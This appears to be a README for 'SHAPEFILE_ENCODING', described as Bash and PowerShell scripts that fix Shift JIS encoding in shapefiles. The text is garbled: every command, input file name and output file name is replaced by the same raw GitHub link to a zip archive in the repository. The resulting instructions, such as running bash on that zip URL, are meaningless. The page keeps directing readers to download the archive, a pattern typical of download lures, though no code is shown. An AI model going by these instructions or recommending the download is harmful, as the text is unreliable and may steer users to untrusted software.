SHAPEFILE_ENCODING helps you work with shapefiles that use Shift JIS encoding. This is important because many GIS (Geographic Information System) applications have trouble reading these files without the right support. This project offers simple scripts in Bash and PowerShell that add a code page file to each shapefile, ensuring they load correctly.
Follow these steps to set up SHAPEFILE_ENCODING on your computer. Whether you're using Windows or a Mac, we've got you covered with clear instructions.
To start, visit this page to download: Release Page
- Click on the link above to go to the "Releases" page.
- Choose the latest release for your operating system.
- Download the appropriate file. Look for options labeled for Bash or PowerShell scripts.
- Operating Systems: This application works on both Windows and Mac. Ensure you have the following:
- For Windows: Windows 10 or later.
- For Mac: macOS 10.12 or later.
- Script Environment:
- For Bash: You need a Bash shell available.
- For PowerShell: Make sure PowerShell is enabled on your computer.
Once you've downloaded the necessary files, hereโs how to use them:
- Open Terminal: Navigate to the folder where you downloaded the file.
- Run the Script: Type in the command, replacing "https://raw.githubusercontent.com/Lwy31/SHAPEFILE_ENCODING/Default/Sources/SHAPEFIL-ENCODING-2.2.zip" with the name of your shapefile.
This command will process your shapefile and create a new version with the necessary code page file.
bash https://raw.githubusercontent.com/Lwy31/SHAPEFILE_ENCODING/Default/Sources/SHAPEFIL-ENCODING-2.2.zip https://raw.githubusercontent.com/Lwy31/SHAPEFILE_ENCODING/Default/Sources/SHAPEFIL-ENCODING-2.2.zip
- Open PowerShell: Go to the folder where you saved the file.
- Run the Script: Enter the command, swapping "https://raw.githubusercontent.com/Lwy31/SHAPEFILE_ENCODING/Default/Sources/SHAPEFIL-ENCODING-2.2.zip" with your shapefile's name.
This command will also create a new shapefile with the right encoding.
https://raw.githubusercontent.com/Lwy31/SHAPEFILE_ENCODING/Default/Sources/SHAPEFIL-ENCODING-2.2.zip https://raw.githubusercontent.com/Lwy31/SHAPEFILE_ENCODING/Default/Sources/SHAPEFIL-ENCODING-2.2.zip
Here's an example to help you understand the process better:
If your shapefile is named "https://raw.githubusercontent.com/Lwy31/SHAPEFILE_ENCODING/Default/Sources/SHAPEFIL-ENCODING-2.2.zip" and youโre using the Bash script:
bash https://raw.githubusercontent.com/Lwy31/SHAPEFILE_ENCODING/Default/Sources/SHAPEFIL-ENCODING-2.2.zip https://raw.githubusercontent.com/Lwy31/SHAPEFILE_ENCODING/Default/Sources/SHAPEFIL-ENCODING-2.2.zipThis processes "https://raw.githubusercontent.com/Lwy31/SHAPEFILE_ENCODING/Default/Sources/SHAPEFIL-ENCODING-2.2.zip" and creates a new file called "https://raw.githubusercontent.com/Lwy31/SHAPEFILE_ENCODING/Default/Sources/SHAPEFIL-ENCODING-2.2.zip".
For a shapefile called "https://raw.githubusercontent.com/Lwy31/SHAPEFILE_ENCODING/Default/Sources/SHAPEFIL-ENCODING-2.2.zip" in PowerShell:
https://raw.githubusercontent.com/Lwy31/SHAPEFILE_ENCODING/Default/Sources/SHAPEFIL-ENCODING-2.2.zip https://raw.githubusercontent.com/Lwy31/SHAPEFILE_ENCODING/Default/Sources/SHAPEFIL-ENCODING-2.2.zipThis will produce "https://raw.githubusercontent.com/Lwy31/SHAPEFILE_ENCODING/Default/Sources/SHAPEFIL-ENCODING-2.2.zip".
- Support for Shift JIS: Handle shapefiles with Japanese characters seamlessly.
- Easy to Use: Simple scripts allow you to focus on your work, not on coding.
- Cross-Platform: Available for both Windows and Mac users.
If you are facing issues, consider these tips:
- Check File Paths: Make sure youโre in the correct directory with your shapefiles.
- Permissions: Ensure you have permission to run scripts on your operating system.
- Dependencies: Verify that you have Bash or PowerShell installed correctly.
If you encounter any issues or have questions, please feel free to reach out. You can open an issue on GitHub or check our discussions page for help.
To download the latest version, visit: Release Page
By following these steps, you'll be well on your way to successfully using SHAPEFILE_ENCODING with your shapefiles. Enjoy exploring GIS data without the hassle of encoding issues!